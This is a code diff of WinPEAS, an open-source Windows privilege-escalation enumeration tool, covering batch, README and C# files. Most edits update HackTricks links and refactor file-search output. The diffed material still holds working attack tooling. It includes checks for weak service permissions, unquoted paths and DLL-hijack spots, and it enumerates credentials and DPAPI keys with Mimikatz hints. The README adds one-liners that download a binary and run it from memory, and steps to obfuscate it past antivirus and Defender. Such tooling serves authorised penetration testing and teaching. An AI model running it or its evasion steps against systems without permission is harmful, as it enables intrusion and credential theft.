for /f %%a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv >nul 2>&1 & reg save %%a %temp%\reg.hiv >nul 2>&1 && reg restore %%a %temp%\reg.hiv >nul 2>&1 && ECHO.You can modify %%a
|
for /f %%a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv >nul 2>&1 & reg save %%a %temp%\reg.hiv >nul 2>&1 && reg restore %%a %temp%\reg.hiv >nul 2>&1 && ECHO.You can modify %%a
|
||||||
ECHO.
|
ECHO.
|
||||||
CALL :T_Progress 1
|
CALL :T_Progress 1
|
||||||
@@ -453,7 +453,7 @@ CALL :T_Progress 1
|
|||||||
CALL :ColorLine " %E%33m[+]%E%97m UNQUOTED SERVICE PATHS"
|
CALL :ColorLine " %E%33m[+]%E%97m UNQUOTED SERVICE PATHS"
|
||||||
ECHO. [i] When the path is not quoted (ex: C:\Program files\soft\new folder\exec.exe) Windows will try to execute first 'C:\Program.exe', then 'C:\Program Files\soft\new.exe' and finally 'C:\Program Files\soft\new folder\exec.exe'. Try to create 'C:\Program Files\soft\new.exe'
|
ECHO. [i] When the path is not quoted (ex: C:\Program files\soft\new folder\exec.exe) Windows will try to execute first 'C:\Program.exe', then 'C:\Program Files\soft\new.exe' and finally 'C:\Program Files\soft\new folder\exec.exe'. Try to create 'C:\Program Files\soft\new.exe'
|
||||||
ECHO. [i] The permissions are also checked and filtered using icacls
|
ECHO. [i] The permissions are also checked and filtered using icacls
|
||||||
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services
|
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services
|
||||||
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
|
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
|
||||||
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
|
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
|
||||||
ECHO.%%~s ^| findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (ECHO.%%n && ECHO.%%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && ECHO.
|
ECHO.%%~s ^| findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (ECHO.%%n && ECHO.%%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && ECHO.
|
||||||
@@ -468,7 +468,7 @@ ECHO.
|
|||||||
CALL :ColorLine "%E%32m[*]%E%97m DLL HIJACKING in PATHenv variable"
|
CALL :ColorLine "%E%32m[*]%E%97m DLL HIJACKING in PATHenv variable"
|
||||||
ECHO. [i] Maybe you can take advantage of modifying/creating some binary in some of the following locations
|
ECHO. [i] Maybe you can take advantage of modifying/creating some binary in some of the following locations
|
||||||
ECHO. [i] PATH variable entries permissions - place binary or DLL to execute instead of legitimate
|
ECHO. [i] PATH variable entries permissions - place binary or DLL to execute instead of legitimate
|
||||||
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#dll-hijacking
|
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#dll-hijacking
|
||||||
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. )
|
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. )
|
||||||
ECHO.
|
ECHO.
|
||||||
CALL :T_Progress 1
|
CALL :T_Progress 1
|
||||||
@@ -477,7 +477,7 @@ CALL :T_Progress 1
|
|||||||
CALL :ColorLine "%E%32m[*]%E%97m CREDENTIALS"
|
CALL :ColorLine "%E%32m[*]%E%97m CREDENTIALS"
|
||||||
ECHO.
|
ECHO.
|
||||||
CALL :ColorLine " %E%33m[+]%E%97m WINDOWS VAULT"
|
CALL :ColorLine " %E%33m[+]%E%97m WINDOWS VAULT"
|
||||||
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#windows-vault
|
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#windows-vault
|
||||||
cmdkey /list
|
cmdkey /list
|
||||||
ECHO.
|
ECHO.
|
||||||
CALL :T_Progress 2
|
CALL :T_Progress 2
|
||||||
@@ -485,14 +485,14 @@ CALL :T_Progress 2
|
|||||||
:DPAPIMasterKeys
|
:DPAPIMasterKeys
|
||||||
CALL :ColorLine " %E%33m[+]%E%97m DPAPI MASTER KEYS"
|
CALL :ColorLine " %E%33m[+]%E%97m DPAPI MASTER KEYS"
|
||||||
ECHO. [i] Use the Mimikatz 'dpapi::masterkey' module with appropriate arguments (/rpc) to decrypt
|
ECHO. [i] Use the Mimikatz 'dpapi::masterkey' module with appropriate arguments (/rpc) to decrypt
|
||||||
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#dpapi
|
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#dpapi
|
||||||
powershell -command "Get-ChildItem %appdata%\Microsoft\Protect" 2>nul
|
powershell -command "Get-ChildItem %appdata%\Microsoft\Protect" 2>nul
|
||||||
powershell -command "Get-ChildItem %localappdata%\Microsoft\Protect" 2>nul
|
powershell -command "Get-ChildItem %localappdata%\Microsoft\Protect" 2>nul
|
||||||
CALL :T_Progress 2
|
CALL :T_Progress 2
|
||||||
CALL :ColorLine " %E%33m[+]%E%97m DPAPI MASTER KEYS"
|
CALL :ColorLine " %E%33m[+]%E%97m DPAPI MASTER KEYS"
|
||||||
ECHO. [i] Use the Mimikatz 'dpapi::cred' module with appropriate /masterkey to decrypt
|
ECHO. [i] Use the Mimikatz 'dpapi::cred' module with appropriate /masterkey to decrypt
|
||||||
ECHO. [i] You can also extract many DPAPI masterkeys from memory with the Mimikatz 'sekurlsa::dpapi' module
|
ECHO. [i] You can also extract many DPAPI masterkeys from memory with the Mimikatz 'sekurlsa::dpapi' module
|
||||||
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#dpapi
|
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#dpapi
|
||||||
ECHO.
|
ECHO.
|
||||||
ECHO.Looking inside %appdata%\Microsoft\Credentials\
|
ECHO.Looking inside %appdata%\Microsoft\Credentials\
|
||||||
ECHO.
|
ECHO.
|
||||||
@@ -565,7 +565,7 @@ CALL :T_Progress 2
|
|||||||
|
|
||||||
:AppCMD
|
:AppCMD
|
||||||
CALL :ColorLine " %E%33m[+]%E%97m AppCmd"
|
CALL :ColorLine " %E%33m[+]%E%97m AppCmd"
|
||||||
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#appcmd-exe
|
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#appcmd-exe
|
||||||
IF EXIST %systemroot%\system32\inetsrv\appcmd.exe ECHO.%systemroot%\system32\inetsrv\appcmd.exe exists.
|
IF EXIST %systemroot%\system32\inetsrv\appcmd.exe ECHO.%systemroot%\system32\inetsrv\appcmd.exe exists.
|
||||||
ECHO.
|
ECHO.
|
||||||
CALL :T_Progress 2
|
CALL :T_Progress 2
|
||||||
@@ -573,7 +573,7 @@ CALL :T_Progress 2
|
|||||||
:RegFilesCredentials
|
:RegFilesCredentials
|
||||||
CALL :ColorLine " %E%33m[+]%E%97m Files in registry that may contain credentials"
|
CALL :ColorLine " %E%33m[+]%E%97m Files in registry that may contain credentials"
|
||||||
ECHO. [i] Searching specific files that may contains credentials.
|
ECHO. [i] Searching specific files that may contains credentials.
|
||||||
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#credentials-inside-files
|
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#credentials-inside-files
|
||||||
ECHO.Looking inside HKCU\Software\ORL\WinVNC3\Password
|
ECHO.Looking inside HKCU\Software\ORL\WinVNC3\Password
|
||||||
reg query HKCU\Software\ORL\WinVNC3\Password 2>nul
|
reg query HKCU\Software\ORL\WinVNC3\Password 2>nul
|
||||||
CALL :T_Progress 2
|
CALL :T_Progress 2
|
||||||
|
|||||||
@@ -2,9 +2,9 @@
|
|||||||
|
|
||||||

|

|
||||||
|
|
||||||
**WinPEAS is a script that search for possible paths to escalate privileges on Windows hosts. The checks are explained on [book.hacktricks.xyz](https://book.hacktricks.xyz/windows/windows-local-privilege-escalation)**
|
**WinPEAS is a script that search for possible paths to escalate privileges on Windows hosts. The checks are explained on [book.hacktricks.xyz](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation)**
|
||||||
|
|
||||||
Check also the **Local Windows Privilege Escalation checklist** from **[book.hacktricks.xyz](https://book.hacktricks.xyz/windows/checklist-windows-privilege-escalation)**
|
Check also the **Local Windows Privilege Escalation checklist** from **[book.hacktricks.xyz](https://book.hacktricks.xyz/windows-hardening/checklist-windows-privilege-escalation)**
|
||||||
|
|
||||||
[](https://youtu.be/66gOwXMnxRI)
|
[](https://youtu.be/66gOwXMnxRI)
|
||||||
|
|
||||||
@@ -13,22 +13,24 @@ Check also the **Local Windows Privilege Escalation checklist** from **[book.hac
|
|||||||
**.Net >= 4.5.2 is required**
|
**.Net >= 4.5.2 is required**
|
||||||
|
|
||||||
Precompiled binaries:
|
Precompiled binaries:
|
||||||
- Download the **[latest obfuscated and not obfuscated versions from here](https://github.com/carlospolop/PEASS-ng/releases/tag/refs%2Fheads%2Fmaster)** or **compile it yourself** (read instructions for compilation).
|
- Download the **[latest obfuscated and not obfuscated versions from here](https://github.com/carlospolop/PEASS-ng/releases/latest)** or **compile it yourself** (read instructions for compilation).
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
#One liner to download and execute winPEASany from memory in a PS shell
|
# Get latest release
|
||||||
$wp=[System.Reflection.Assembly]::Load([byte[]](Invoke-WebRequest "https://github.com/carlospolop/PEASS-ng/releases/download/refs%2Fheads%2Fmaster/winPEASany_ofs.exe" -UseBasicParsing | Select-Object -ExpandProperty Content)); [winPEAS.Program]::Main("")
|
$url = "https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASany_ofs.exe"
|
||||||
|
|
||||||
#Before cmd in 3 lines
|
# One liner to download and execute winPEASany from memory in a PS shell
|
||||||
$url = "https://github.com/carlospolop/PEASS-ng/releases/download/refs%2Fheads%2Fmaster/winPEASany_ofs.exe"
|
$wp=[System.Reflection.Assembly]::Load([byte[]](Invoke-WebRequest "$url" -UseBasicParsing | Select-Object -ExpandProperty Content)); [winPEAS.Program]::Main("")
|
||||||
|
|
||||||
|
# Before cmd in 3 lines
|
||||||
$wp=[System.Reflection.Assembly]::Load([byte[]](Invoke-WebRequest "$url" -UseBasicParsing | Select-Object -ExpandProperty Content));
|
$wp=[System.Reflection.Assembly]::Load([byte[]](Invoke-WebRequest "$url" -UseBasicParsing | Select-Object -ExpandProperty Content));
|
||||||
[winPEAS.Program]::Main("") #Put inside the quotes the winpeas parameters you want to use
|
[winPEAS.Program]::Main("") #Put inside the quotes the winpeas parameters you want to use
|
||||||
|
|
||||||
#Load from disk in memory and execute:
|
# Load from disk in memory and execute:
|
||||||
$wp = [System.Reflection.Assembly]::Load([byte[]]([IO.File]::ReadAllBytes("D:\Users\victim\winPEAS.exe")));
|
$wp = [System.Reflection.Assembly]::Load([byte[]]([IO.File]::ReadAllBytes("D:\Users\victim\winPEAS.exe")));
|
||||||
[winPEAS.Program]::Main("") #Put inside the quotes the winpeas parameters you want to use
|
[winPEAS.Program]::Main("") #Put inside the quotes the winpeas parameters you want to use
|
||||||
|
|
||||||
#Load from disk in base64 and execute
|
# Load from disk in base64 and execute
|
||||||
##Generate winpeas in Base64:
|
##Generate winpeas in Base64:
|
||||||
[Convert]::ToBase64String([IO.File]::ReadAllBytes("D:\Users\user\winPEAS.exe")) | Out-File -Encoding ASCII D:\Users\user\winPEAS.txt
|
[Convert]::ToBase64String([IO.File]::ReadAllBytes("D:\Users\user\winPEAS.exe")) | Out-File -Encoding ASCII D:\Users\user\winPEAS.txt
|
||||||
##Now upload the B64 string to the victim inside a file or copy it to the clipboard
|
##Now upload the B64 string to the victim inside a file or copy it to the clipboard
|
||||||
@@ -41,7 +43,7 @@ $thecontent = "aaaaaaaa..." #Where "aaa..." is the winpeas base64 string
|
|||||||
$wp = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($thecontent))
|
$wp = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($thecontent))
|
||||||
[winPEAS.Program]::Main("") #Put inside the quotes the winpeas parameters you want to use
|
[winPEAS.Program]::Main("") #Put inside the quotes the winpeas parameters you want to use
|
||||||
|
|
||||||
#Loading from file and executing a winpeas obfuscated version
|
# Loading from file and executing a winpeas obfuscated version
|
||||||
##Load obfuscated version
|
##Load obfuscated version
|
||||||
$wp = [System.Reflection.Assembly]::Load([byte[]]([IO.File]::ReadAllBytes("D:\Users\victim\winPEAS-Obfuscated.exe")));
|
$wp = [System.Reflection.Assembly]::Load([byte[]]([IO.File]::ReadAllBytes("D:\Users\victim\winPEAS-Obfuscated.exe")));
|
||||||
$wp.EntryPoint #Get the name of the ReflectedType, in obfuscated versions sometimes this is different from "winPEAS.Program"
|
$wp.EntryPoint #Get the name of the ReflectedType, in obfuscated versions sometimes this is different from "winPEAS.Program"
|
||||||
@@ -103,9 +105,13 @@ REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1
|
|||||||
|
|
||||||
Below you have some indications about what does each color means exacty, but keep in mind that **Red** is for something interesting (from a pentester perspective) and **Green** is something well configured (from a defender perspective).
|
Below you have some indications about what does each color means exacty, but keep in mind that **Red** is for something interesting (from a pentester perspective) and **Green** is something well configured (from a defender perspective).
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
## Instructions to compile you own obfuscated version
|
## Instructions to compile you own obfuscated version
|
||||||
|
|
||||||
|
<details>
|
||||||
|
<summary>Details</summary>
|
||||||
|
|
||||||
In order to compile an **ofuscated version** of Winpeas and bypass some AVs you need to ** install dotfuscator ** in *VisualStudio*.
|
In order to compile an **ofuscated version** of Winpeas and bypass some AVs you need to ** install dotfuscator ** in *VisualStudio*.
|
||||||
|
|
||||||
To install it *open VisualStudio --> Go to Search (CTRL+Q) --> Write "dotfuscator"* and just follow the instructions to install it.
|
To install it *open VisualStudio --> Go to Search (CTRL+Q) --> Write "dotfuscator"* and just follow the instructions to install it.
|
||||||
@@ -123,10 +129,9 @@ Once you have installed and activated it you need to:
|
|||||||
|
|
||||||

|

|
||||||
|
|
||||||
|
**IMPORTANT**: Note that Defender will higly probable delete the winpeas iintial unobfuscated version, so you need to set as expections the origin folder of Winpeas and the folder were the obfuscated version will be saved:
|
||||||
## Colors
|

|
||||||
|
</details>
|
||||||

|
|
||||||
|
|
||||||
## Checks
|
## Checks
|
||||||
|
|
||||||
@@ -279,8 +284,5 @@ If you find any issue, please report it using **[github issues](https://github.c
|
|||||||
|
|
||||||
All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission.
|
All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission.
|
||||||
|
|
||||||
## License
|
|
||||||
|
|
||||||
MIT License
|
|
||||||
|
|
||||||
By Polop<sup>(TM)</sup>, makikvues (makikvues2[at]gmail[dot].com)
|
By Polop<sup>(TM)</sup>, makikvues (makikvues2[at]gmail[dot].com)
|
||||||
|
|||||||
@@ -56,7 +56,7 @@ namespace winPEAS.Checks
|
|||||||
try
|
try
|
||||||
{
|
{
|
||||||
Beaprint.MainPrint("Installed Applications --Via Program Files/Uninstall registry--");
|
Beaprint.MainPrint("Installed Applications --Via Program Files/Uninstall registry--");
|
||||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#software", "Check if you can modify installed software");
|
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#software", "Check if you can modify installed software");
|
||||||
SortedDictionary<string, Dictionary<string, string>> installedAppsPerms = InstalledApps.GetInstalledAppsPerms();
|
SortedDictionary<string, Dictionary<string, string>> installedAppsPerms = InstalledApps.GetInstalledAppsPerms();
|
||||||
string format = " ==> {0} ({1})";
|
string format = " ==> {0} ({1})";
|
||||||
|
|
||||||
@@ -102,7 +102,7 @@ namespace winPEAS.Checks
|
|||||||
try
|
try
|
||||||
{
|
{
|
||||||
Beaprint.MainPrint("Autorun Applications");
|
Beaprint.MainPrint("Autorun Applications");
|
||||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries", "Check if you can modify other users AutoRuns binaries (Note that is normal that you can modify HKCU registry and binaries indicated there)");
|
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries", "Check if you can modify other users AutoRuns binaries (Note that is normal that you can modify HKCU registry and binaries indicated there)");
|
||||||
List<Dictionary<string, string>> apps = AutoRuns.GetAutoRuns(Checks.CurrentUserSiDs);
|
List<Dictionary<string, string>> apps = AutoRuns.GetAutoRuns(Checks.CurrentUserSiDs);
|
||||||
|
|
||||||
foreach (Dictionary<string, string> app in apps)
|
foreach (Dictionary<string, string> app in apps)
|
||||||
@@ -183,7 +183,7 @@ namespace winPEAS.Checks
|
|||||||
try
|
try
|
||||||
{
|
{
|
||||||
Beaprint.MainPrint("Scheduled Applications --Non Microsoft--");
|
Beaprint.MainPrint("Scheduled Applications --Non Microsoft--");
|
||||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries", "Check if you can modify other users scheduled binaries");
|
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries", "Check if you can modify other users scheduled binaries");
|
||||||
List<Dictionary<string, string>> scheduled_apps = ApplicationInfoHelper.GetScheduledAppsNoMicrosoft();
|
List<Dictionary<string, string>> scheduled_apps = ApplicationInfoHelper.GetScheduledAppsNoMicrosoft();
|
||||||
|
|
||||||
foreach (Dictionary<string, string> sapp in scheduled_apps)
|
foreach (Dictionary<string, string> sapp in scheduled_apps)
|
||||||
@@ -233,7 +233,7 @@ namespace winPEAS.Checks
|
|||||||
{
|
{
|
||||||
Beaprint.MainPrint("Device Drivers --Non Microsoft--");
|
Beaprint.MainPrint("Device Drivers --Non Microsoft--");
|
||||||
// this link is not very specific, but its the best on hacktricks
|
// this link is not very specific, but its the best on hacktricks
|
||||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#vulnerable-drivers", "Check 3rd party drivers for known vulnerabilities/rootkits.");
|
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#vulnerable-drivers", "Check 3rd party drivers for known vulnerabilities/rootkits.");
|
||||||
|
|
||||||
foreach (var driver in DeviceDrivers.GetDeviceDriversNoMicrosoft())
|
foreach (var driver in DeviceDrivers.GetDeviceDriversNoMicrosoft())
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -42,7 +42,7 @@ namespace winPEAS.Checks
|
|||||||
private static readonly HashSet<string> _systemCheckSelectedKeysHashSet = new HashSet<string>();
|
private static readonly HashSet<string> _systemCheckSelectedKeysHashSet = new HashSet<string>();
|
||||||
|
|
||||||
// github url for Linpeas.sh
|
// github url for Linpeas.sh
|
||||||
public static string LinpeasUrl = "https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh";
|
public static string LinpeasUrl = "https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh";
|
||||||
|
|
||||||
public const string DefaultLogFile = "out.txt";
|
public const string DefaultLogFile = "out.txt";
|
||||||
|
|
||||||
@@ -80,7 +80,7 @@ namespace winPEAS.Checks
|
|||||||
new SystemCheck("windowscreds", new WindowsCreds()),
|
new SystemCheck("windowscreds", new WindowsCreds()),
|
||||||
new SystemCheck("browserinfo", new BrowserInfo()),
|
new SystemCheck("browserinfo", new BrowserInfo()),
|
||||||
new SystemCheck("filesinfo", new FilesInfo()),
|
new SystemCheck("filesinfo", new FilesInfo()),
|
||||||
new SystemCheck("fileAnalysis", new FileAnalysis())
|
new SystemCheck("fileanalysis", new FileAnalysis())
|
||||||
};
|
};
|
||||||
|
|
||||||
var systemCheckAllKeys = new HashSet<string>(_systemChecks.Select(i => i.Key));
|
var systemCheckAllKeys = new HashSet<string>(_systemChecks.Select(i => i.Key));
|
||||||
|
|||||||
@@ -53,7 +53,7 @@ namespace winPEAS.Checks
|
|||||||
}
|
}
|
||||||
|
|
||||||
files.AddRange(SearchHelper.RootDirUsers);
|
files.AddRange(SearchHelper.RootDirUsers);
|
||||||
// files.AddRange(SearchHelper.RootDirCurrentUser); // not needed, it's contained within RootDirUsers
|
// files.AddRange(SearchHelper.RootDirCurrentUser); // not needed, it's contained within RootDirUsers
|
||||||
files.AddRange(SearchHelper.DocumentsAndSettings);
|
files.AddRange(SearchHelper.DocumentsAndSettings);
|
||||||
files.AddRange(SearchHelper.GroupPolicyHistory); // TODO maybe not needed here
|
files.AddRange(SearchHelper.GroupPolicyHistory); // TODO maybe not needed here
|
||||||
files.AddRange(SearchHelper.ProgramFiles);
|
files.AddRange(SearchHelper.ProgramFiles);
|
||||||
@@ -62,7 +62,7 @@ namespace winPEAS.Checks
|
|||||||
return files;
|
return files;
|
||||||
}
|
}
|
||||||
|
|
||||||
private static bool Search(List<CustomFileInfo> files, string fileName, FileSettings fileSettings, ref int resultsCount)
|
private static bool[] Search(List<CustomFileInfo> files, string fileName, FileSettings fileSettings, ref int resultsCount, string searchName, bool somethingFound)
|
||||||
{
|
{
|
||||||
bool isRegexSearch = fileName.Contains("*");
|
bool isRegexSearch = fileName.Contains("*");
|
||||||
string pattern = string.Empty;
|
string pattern = string.Empty;
|
||||||
@@ -86,13 +86,18 @@ namespace winPEAS.Checks
|
|||||||
|
|
||||||
if (isFileFound)
|
if (isFileFound)
|
||||||
{
|
{
|
||||||
|
if (!somethingFound) {
|
||||||
|
Beaprint.MainPrint($"Found {searchName} Files");
|
||||||
|
somethingFound = true;
|
||||||
|
}
|
||||||
|
|
||||||
// there are no inner sections
|
// there are no inner sections
|
||||||
if (fileSettings.files == null)
|
if (fileSettings.files == null)
|
||||||
{
|
{
|
||||||
var isProcessed = ProcessResult(file, fileSettings, ref resultsCount);
|
var isProcessed = ProcessResult(file, fileSettings, ref resultsCount);
|
||||||
if (!isProcessed)
|
if (!isProcessed)
|
||||||
{
|
{
|
||||||
return true;
|
return new bool[] { true, somethingFound };
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
// there are inner sections
|
// there are inner sections
|
||||||
@@ -109,7 +114,7 @@ namespace winPEAS.Checks
|
|||||||
var isProcessed = ProcessResult(innerFile, innerFileToSearch.value, ref resultsCount);
|
var isProcessed = ProcessResult(innerFile, innerFileToSearch.value, ref resultsCount);
|
||||||
if (!isProcessed)
|
if (!isProcessed)
|
||||||
{
|
{
|
||||||
return true;
|
return new bool[] { true, somethingFound };
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -117,7 +122,7 @@ namespace winPEAS.Checks
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
return false;
|
return new bool[] { false, somethingFound };
|
||||||
}
|
}
|
||||||
|
|
||||||
private static void PrintYAMLSearchFiles()
|
private static void PrintYAMLSearchFiles()
|
||||||
@@ -133,15 +138,17 @@ namespace winPEAS.Checks
|
|||||||
|
|
||||||
foreach (var searchItem in searchItems)
|
foreach (var searchItem in searchItems)
|
||||||
{
|
{
|
||||||
|
if (searchItem.name != "Wifi Connections")
|
||||||
|
continue;
|
||||||
var searchName = searchItem.name;
|
var searchName = searchItem.name;
|
||||||
var value = searchItem.value;
|
var value = searchItem.value;
|
||||||
var searchConfig = value.config;
|
var searchConfig = value.config;
|
||||||
|
bool somethingFound = false;
|
||||||
|
|
||||||
CheckRunner.Run(() =>
|
CheckRunner.Run(() =>
|
||||||
{
|
{
|
||||||
Beaprint.MainPrint($"Analyzing {searchName} Files (limit {ListFileLimit})");
|
|
||||||
|
|
||||||
int resultsCount = 0;
|
int resultsCount = 0;
|
||||||
|
bool[] results;
|
||||||
bool isSearchFinished = false;
|
bool isSearchFinished = false;
|
||||||
|
|
||||||
foreach (var file in value.files)
|
foreach (var file in value.files)
|
||||||
@@ -150,7 +157,10 @@ namespace winPEAS.Checks
|
|||||||
var fileSettings = file.value;
|
var fileSettings = file.value;
|
||||||
var itemsToSearch = fileSettings.type == "f" ? files : folders;
|
var itemsToSearch = fileSettings.type == "f" ? files : folders;
|
||||||
|
|
||||||
isSearchFinished = Search(itemsToSearch, fileName, fileSettings, ref resultsCount);
|
results = Search(itemsToSearch, fileName, fileSettings, ref resultsCount, searchName, somethingFound);
|
||||||
|
|
||||||
|
isSearchFinished = results[0];
|
||||||
|
somethingFound = results[1];
|
||||||
|
|
||||||
if (isSearchFinished)
|
if (isSearchFinished)
|
||||||
{
|
{
|
||||||
@@ -193,17 +203,21 @@ namespace winPEAS.Checks
|
|||||||
|
|
||||||
if (fileSettings.type == "f")
|
if (fileSettings.type == "f")
|
||||||
{
|
{
|
||||||
if ((bool)fileSettings.just_list_file)
|
var colors = new Dictionary<string, string>();
|
||||||
{
|
colors.Add(fileInfo.Filename, Beaprint.ansi_color_bad);
|
||||||
Beaprint.BadPrint($" {fileInfo.FullPath}");
|
Beaprint.AnsiPrint($"File: {fileInfo.FullPath}", colors);
|
||||||
}
|
|
||||||
else
|
if (!(bool)fileSettings.just_list_file)
|
||||||
{
|
{
|
||||||
GrepResult(fileInfo, fileSettings);
|
GrepResult(fileInfo, fileSettings);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
else if (fileSettings.type == "d")
|
else if (fileSettings.type == "d")
|
||||||
{
|
{
|
||||||
|
var colors = new Dictionary<string, string>();
|
||||||
|
colors.Add(fileInfo.Filename, Beaprint.ansi_color_bad);
|
||||||
|
Beaprint.AnsiPrint($"Folder: {fileInfo.FullPath}", colors);
|
||||||
|
|
||||||
// just list the directory
|
// just list the directory
|
||||||
if ((bool)fileSettings.just_list_file)
|
if ((bool)fileSettings.just_list_file)
|
||||||
{
|
{
|
||||||
@@ -225,8 +239,6 @@ namespace winPEAS.Checks
|
|||||||
|
|
||||||
private static void GrepResult(CustomFileInfo fileInfo, FileSettings fileSettings)
|
private static void GrepResult(CustomFileInfo fileInfo, FileSettings fileSettings)
|
||||||
{
|
{
|
||||||
Beaprint.NoColorPrint($" '{fileInfo.FullPath}' - content:");
|
|
||||||
|
|
||||||
var fileContent = File.ReadLines(fileInfo.FullPath);
|
var fileContent = File.ReadLines(fileInfo.FullPath);
|
||||||
var colors = new Dictionary<string, string>();
|
var colors = new Dictionary<string, string>();
|
||||||
|
|
||||||
@@ -272,7 +284,8 @@ namespace winPEAS.Checks
|
|||||||
|
|
||||||
Beaprint.AnsiPrint(content, colors);
|
Beaprint.AnsiPrint(content, colors);
|
||||||
|
|
||||||
Console.WriteLine();
|
if (content.Length > 0)
|
||||||
|
Console.WriteLine();
|
||||||
}
|
}
|
||||||
|
|
||||||
private static string SanitizeLineGrep(string lineGrep)
|
private static string SanitizeLineGrep(string lineGrep)
|
||||||
@@ -281,7 +294,16 @@ namespace winPEAS.Checks
|
|||||||
// '-i -a -o "description.*" | sort | uniq'
|
// '-i -a -o "description.*" | sort | uniq'
|
||||||
// - remove everything except from "description.*"
|
// - remove everything except from "description.*"
|
||||||
|
|
||||||
Regex regex = new Regex("\"([^\"]+)\"");
|
Regex regex;
|
||||||
|
if (lineGrep.Contains("-i"))
|
||||||
|
{
|
||||||
|
regex = new Regex("\"([^\"]+)\"", RegexOptions.IgnoreCase);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
regex = new Regex("\"([^\"]+)\"");
|
||||||
|
}
|
||||||
|
|
||||||
Match match = regex.Match(lineGrep);
|
Match match = regex.Match(lineGrep);
|
||||||
|
|
||||||
if (match.Success)
|
if (match.Success)
|
||||||
|
|||||||
@@ -151,7 +151,7 @@ namespace winPEAS.Checks
|
|||||||
try
|
try
|
||||||
{
|
{
|
||||||
Beaprint.MainPrint("Cloud Credentials");
|
Beaprint.MainPrint("Cloud Credentials");
|
||||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#credentials-inside-files");
|
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#credentials-inside-files");
|
||||||
List<Dictionary<string, string>> could_creds = KnownFileCredsInfo.ListCloudCreds();
|
List<Dictionary<string, string>> could_creds = KnownFileCredsInfo.ListCloudCreds();
|
||||||
if (could_creds.Count != 0)
|
if (could_creds.Count != 0)
|
||||||
{
|
{
|
||||||
@@ -382,7 +382,7 @@ namespace winPEAS.Checks
|
|||||||
string[] passRegHklm = new string[] { @"SYSTEM\CurrentControlSet\Services\SNMP" };
|
